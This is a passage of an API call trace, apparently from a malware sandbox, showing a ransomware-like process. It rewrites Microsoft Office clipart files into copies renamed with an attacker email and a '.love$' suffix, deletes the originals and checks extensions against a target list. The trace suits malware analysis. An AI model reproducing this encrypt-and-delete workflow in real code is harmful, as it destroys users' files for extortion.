ReadFile (in: hFile=0x440, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.400] WriteFile (in: hFile=0x3f4, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0255.400] SetEndOfFile (hFile=0x3f4) returned 1 [0255.400] CloseHandle (hObject=0x3f4) returned 1 [0255.400] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.400] SetEndOfFile (hFile=0x440) returned 1 [0255.404] CloseHandle (hObject=0x440) returned 1 [0255.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0255.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.406] lstrlenW (lpString=".doc") returned 4 [0255.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.406] lstrlenW (lpString=".docx") returned 5 [0255.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.406] lstrlenW (lpString=".pdf") returned 4 [0255.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.406] lstrlenW (lpString=".xls") returned 4 [0255.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.406] lstrlenW (lpString=".xlsx") returned 5 [0255.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.406] lstrlenW (lpString=".ppt") returned 4 [0255.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.406] lstrlenW (lpString=".zip") returned 4 [0255.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.406] lstrlenW (lpString=".rar") returned 4 [0255.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.407] lstrlenW (lpString=".bz2") returned 4 [0255.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.407] lstrlenW (lpString=".7z") returned 3 [0255.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.407] lstrlenW (lpString=".dbf") returned 4 [0255.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.407] lstrlenW (lpString=".1cd") returned 4 [0255.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.407] lstrlenW (lpString=".jpg") returned 4 [0255.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.407] lstrlenW (lpString=".doc") returned 4 [0255.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.407] lstrlenW (lpString=".docx") returned 5 [0255.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.407] lstrlenW (lpString=".pdf") returned 4 [0255.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.407] lstrlenW (lpString=".xls") returned 4 [0255.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.407] lstrlenW (lpString=".xlsx") returned 5 [0255.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.408] lstrlenW (lpString=".ppt") returned 4 [0255.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.408] lstrlenW (lpString=".zip") returned 4 [0255.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.408] lstrlenW (lpString=".rar") returned 4 [0255.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.408] lstrlenW (lpString=".bz2") returned 4 [0255.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.408] lstrlenW (lpString=".7z") returned 3 [0255.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.408] lstrlenW (lpString=".dbf") returned 4 [0255.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.408] lstrlenW (lpString=".1cd") returned 4 [0255.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0255.408] lstrlenW (lpString=".jpg") returned 4 [0255.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.408] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0255.409] lstrlenW (lpString="HH00260_.WMF") returned 12 [0255.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0255.410] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3662) returned 1 [0255.410] CloseHandle (hObject=0x440) returned 1 [0255.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x220 [0255.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440 [0255.411] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.411] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0255.412] GetLastError () returned 0x0 [0255.412] ReadFile (in: hFile=0x440, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xe4e, lpOverlapped=0x0) returned 1 [0255.416] WriteFile (in: hFile=0x3f4, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe50, lpOverlapped=0x0) returned 1 [0255.417] ReadFile (in: hFile=0x440, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0255.417] WriteFile (in: hFile=0x3f4, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0255.417] SetEndOfFile (hFile=0x3f4) returned 1 [0255.417] CloseHandle (hObject=0x3f4) returned 1 [0255.417] SetFilePointerEx (in: hFile=0x440, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0255.418] SetEndOfFile (hFile=0x440) returned 1 [0255.421] CloseHandle (hObject=0x440) returned 1 [0255.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0255.422] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0255.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.423] lstrlenW (lpString=".doc") returned 4 [0255.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.423] lstrlenW (lpString=".docx") returned 5 [0255.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.423] lstrlenW (lpString=".pdf") returned 4 [0255.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.423] lstrlenW (lpString=".xls") returned 4 [0255.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.423] lstrlenW (lpString=".xlsx") returned 5 [0255.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.423] lstrlenW (lpString=".ppt") returned 4 [0255.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.423] lstrlenW (lpString=".zip") returned 4 [0255.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.423] lstrlenW (lpString=".rar") returned 4 [0255.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.424] lstrlenW (lpString=".bz2") returned 4 [0255.424] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.424] lstrlenW (lpString=".7z") returned 3 [0255.424] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.424] lstrlenW (lpString=".dbf") returned 4 [0255.424] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.424] lstrlenW (lpString=".1cd") returned 4 [0255.424] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.424] lstrlenW (lpString=".jpg") returned 4 [0255.424] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.424] lstrlenW (lpString=".doc") returned 4 [0255.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.424] lstrlenW (lpString=".docx") returned 5 [0255.424] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0255.424] lstrlenW (lpString=".pdf") returned 4 [0255.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.424] lstrlenW (lpString=".xls") returned 4 [0255.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.424] lstrlenW (lpString=".xlsx") returned 5 [0255.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0255.425] lstrlenW (lpString=".ppt") returned 4 [0255.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.425] lstrlenW (lpString=".zip") returned 4 [0255.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.425] lstrlenW (lpString=".rar") returned 4 [0255.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.425] lstrlenW (lpString=".bz2") returned 4 [0255.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.425] lstrlenW (lpString=".7z") returned 3 [0255.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.425] lstrlenW (lpString=".dbf") returned 4 [0255.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.425] lstrlenW (lpString=".1cd") returned 4 [0255.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 68 [0255.425] lstrlenW (lpString=".jpg") returned 4 [0255.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.425] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0255.425] lstrlenW (lpString="HH00276_.WMF") returned 12 [0255.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0255.657] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3016) returned 1 [0255.657] CloseHandle (hObject=0x42c) returned 1 [0255.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x220 [0255.677] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0255.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.314] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.314] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0256.315] GetLastError () returned 0x0 [0256.315] ReadFile (in: hFile=0x3c4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0256.351] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0256.352] ReadFile (in: hFile=0x3c4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.352] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0256.352] SetEndOfFile (hFile=0x304) returned 1 [0256.352] CloseHandle (hObject=0x304) returned 1 [0256.352] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.352] SetEndOfFile (hFile=0x3c4) returned 1 [0256.355] CloseHandle (hObject=0x3c4) returned 1 [0256.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0256.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0256.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.357] lstrlenW (lpString=".doc") returned 4 [0256.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.357] lstrlenW (lpString=".docx") returned 5 [0256.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.357] lstrlenW (lpString=".pdf") returned 4 [0256.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.357] lstrlenW (lpString=".xls") returned 4 [0256.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.357] lstrlenW (lpString=".xlsx") returned 5 [0256.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.357] lstrlenW (lpString=".ppt") returned 4 [0256.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.357] lstrlenW (lpString=".zip") returned 4 [0256.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.358] lstrlenW (lpString=".rar") returned 4 [0256.358] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.358] lstrlenW (lpString=".bz2") returned 4 [0256.358] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.358] lstrlenW (lpString=".7z") returned 3 [0256.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.358] lstrlenW (lpString=".dbf") returned 4 [0256.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.358] lstrlenW (lpString=".1cd") returned 4 [0256.358] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.358] lstrlenW (lpString=".jpg") returned 4 [0256.358] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.358] lstrlenW (lpString=".doc") returned 4 [0256.358] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.358] lstrlenW (lpString=".docx") returned 5 [0256.358] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.358] lstrlenW (lpString=".pdf") returned 4 [0256.358] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.358] lstrlenW (lpString=".xls") returned 4 [0256.358] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.358] lstrlenW (lpString=".xlsx") returned 5 [0256.358] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.358] lstrlenW (lpString=".ppt") returned 4 [0256.358] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.358] lstrlenW (lpString=".zip") returned 4 [0256.358] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.359] lstrlenW (lpString=".rar") returned 4 [0256.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.359] lstrlenW (lpString=".bz2") returned 4 [0256.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.359] lstrlenW (lpString=".7z") returned 3 [0256.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.359] lstrlenW (lpString=".dbf") returned 4 [0256.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.359] lstrlenW (lpString=".1cd") returned 4 [0256.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 68 [0256.359] lstrlenW (lpString=".jpg") returned 4 [0256.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.359] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0256.359] lstrlenW (lpString="HH00546_.WMF") returned 12 [0256.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.360] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3718) returned 1 [0256.360] CloseHandle (hObject=0x3c4) returned 1 [0256.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0256.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0256.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0256.361] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.361] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0256.362] GetLastError () returned 0x0 [0256.362] ReadFile (in: hFile=0x3c4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xe86, lpOverlapped=0x0) returned 1 [0256.364] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe90, lpOverlapped=0x0) returned 1 [0256.366] ReadFile (in: hFile=0x3c4, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0256.366] WriteFile (in: hFile=0x304, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, 